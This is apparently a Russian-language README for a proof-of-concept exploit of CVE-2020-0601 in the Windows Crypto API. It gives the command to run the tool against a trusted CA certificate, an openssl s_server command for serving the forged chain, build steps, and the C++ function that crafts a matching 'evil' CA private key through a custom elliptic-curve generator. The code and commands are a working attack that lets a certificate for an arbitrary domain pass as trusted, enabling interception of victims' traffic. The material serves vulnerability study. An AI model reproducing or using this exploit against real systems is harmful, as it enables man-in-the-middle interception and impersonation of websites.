
CVE-2020-0601 proof of concept
Исходный код этого инструмента предназначен для помощи в понимании уязвимости CVE-2020-0601, обнаруженной в Windows Crypto API. См. обзор CERT.
Сам инструмент может использоваться для создания сертификата для произвольного домена, который будет подписан злонамеренным удостоверяющим центром. Этот инструмент создаёт злонамеренный ЦС с тем же открытым ключом, что и указанный в командной строке.
Когда веб-браузер уязвимой сборки Windows обращается к этому сертификату, он будет считаться доверенным. Таким образом, сетевой злоумышленник, находящийся в подходящем положении, может перехватывать трафик жертвы.
Запустите инструмент, указав путь к доверенному сертификату Windows:
./cve-2020-0601_poc ~/path/to/USERTrustECCCertificationAuthority.crt
В приведённом примере используется USERTrust ECC Certification Authority со следующим открытым ключом:
04:1A:AC:54:5A:A9:F9:68:23:E7:7A:D5:24:6F:53:C6:5A:D8:4B:AB:C6:D5:B6:D1:E6:73:71:AE:DD:9C:D6:0C:61:FD:DB:A0:89:03:B8:05:14:EC:57:CE:EE:5D:3F:E2:21:B3:CE:F7:D4:8A:79:E0:A3:83:7E:2D:97:D0:61:C4:F1:99:DC:25:91:63:AB:7F:30:A3:B4:70:E2:C7:A1:33:9C:F3:BF:2E:5C:53:B1:5F:B3:7D:32:7F:8A:34:E3:79:79
Инструмент сохранит несколько сертификатов и ключей в текущей рабочей папке:
test-cve_evil-ca.crt -- злонамеренный ЦС
test-cve_evil-privkey.key -- закрытый ключ злонамеренного ЦС в формате PEM
test-cve_evil-privkey-pk8.key -- закрытый ключ злонамеренного ЦС в формате PKCS#8
test-cve_host-cert.crt -- сертификат целевого хоста (по умолчанию example.com)
test-cve_host-privkey.key -- закрытый ключ целевого хоста (по умолчанию example.com)
Чтобы проверить сертификаты, запустите openssl s_server следующим образом и перенаправьте запросы https://example.com/ с вашего уязвимого Windows-устройства на него:
sudo openssl s_server -cert test-cve_host-cert.crt -key test-cve_host-privkey.key -chainCAfile test-cve_evil-ca.crt -www -accept 443
Убедитесь, что оригинальный сертификат кэширован!
Результат должен выглядеть так:

cmake используется для генерации make-файла для сборки этого инструмента. В качестве зависимостей необходимы следующие библиотеки:
Сборка:
mkdir build
cd build
cmake ..
make
Подробное (относительно) описание в какой-то момент будет добавлено на сайт Gremwell.
Начните с просмотра файла main.cpp. Он вызывает различные обёртки OpenSSL, которые важны, но не связаны с самой уязвимостью. Самая интересная часть находится в файле cve-2020-0601_poc.cpp:
bool craftEvilPrivKey(const char *caPubKeyRaw, size_t caPubKeyRawLen,
char *outEvilPrivKeyPKCS8, size_t maxSizePKCS8, size_t *outEvilPrivKeyPKCS8Len,
bool doSave, const char *evilPrivKeyFileName)
{
// load public key of the provided certificate into native CryptoPP type
DL_Keys_ECDSA<ECP>::PublicKey caPubKey;
caPubKey.Load(CryptoPP::ArraySource((const CryptoPP::byte *)caPubKeyRaw,
caPubKeyRawLen, true).Ref());
// generate a private key using the same curve as in the provided CA certificate
CryptoPP::AutoSeededRandomPool prng;
DL_Keys_ECDSA<ECP>::PrivateKey privKeyBase;
privKeyBase.Initialize(prng, caPubKey.GetGroupParameters());
// get the private key elliptic curve parameters
CryptoPP::Integer privKeyBaseExp = privKeyBase.GetPrivateExponent();
ECP privKeyBaseCurve = privKeyBase.GetGroupParameters().GetCurve();
CryptoPP::Integer privKeyBaseOrder = privKeyBase.GetGroupParameters().GetSubgroupOrder();
// calculate an inverse value of the private key
CryptoPP::Integer privKeyInverse = CryptoPP::EuclideanMultiplicativeInverse(privKeyBaseExp, privKeyBaseOrder);
// produce our custom generator (base point) as a multiplication of the inverse value of our private key
// and the public key of the provided CA certificate
ECP::Point caPubKeyQ = caPubKey.GetPublicElement();
ECP::Point evilG = privKeyBaseCurve.ScalarMultiply(caPubKeyQ, privKeyInverse);
// create an "evil" private key object using the base private's key exponent and curve but
// with our "evil" generator (base point)
DL_Keys_ECDSA<ECP>::PrivateKey evilPrivKey;
evilPrivKey.Initialize(privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp);
// convert evil private key into PKCS8 format
CryptoPP::ArraySink evilPrivKeyPKCS8As((CryptoPP::byte *)outEvilPrivKeyPKCS8, maxSizePKCS8);
evilPrivKey.Save(evilPrivKeyPKCS8As.Ref());
*outEvilPrivKeyPKCS8Len = evilPrivKeyPKCS8As.TotalPutLength();
if (doSave) {
// save it as-is so this can be imported by some tools
evilPrivKey.Save(CryptoPP::FileSink(evilPrivKeyFileName).Ref());
}
// the code below converts the key to DER format
// however, as we have here our custom curve (not the "named" one), most of the
// tools are not able to properly import it. thus, leaving this code commented-out
#ifdef SUPPORT_DER_ENCODING
CryptoPP::ArraySink evilPrivKeyDerAs((CryptoPP::byte *)outEvilPrivKeyDer, maxSizeDer);
privKeyToDer(evilPrivKey, evilPrivKeyDerAs.Ref());
*outEvilPrivKeyDerLen = evilPrivKeyDerAs.TotalPutLength();
#endif
return true;
}
Комментарии здесь должны быть довольно понятны. :-)
Спасибо блогу kudelskisecurity и ссылкам, указанным там.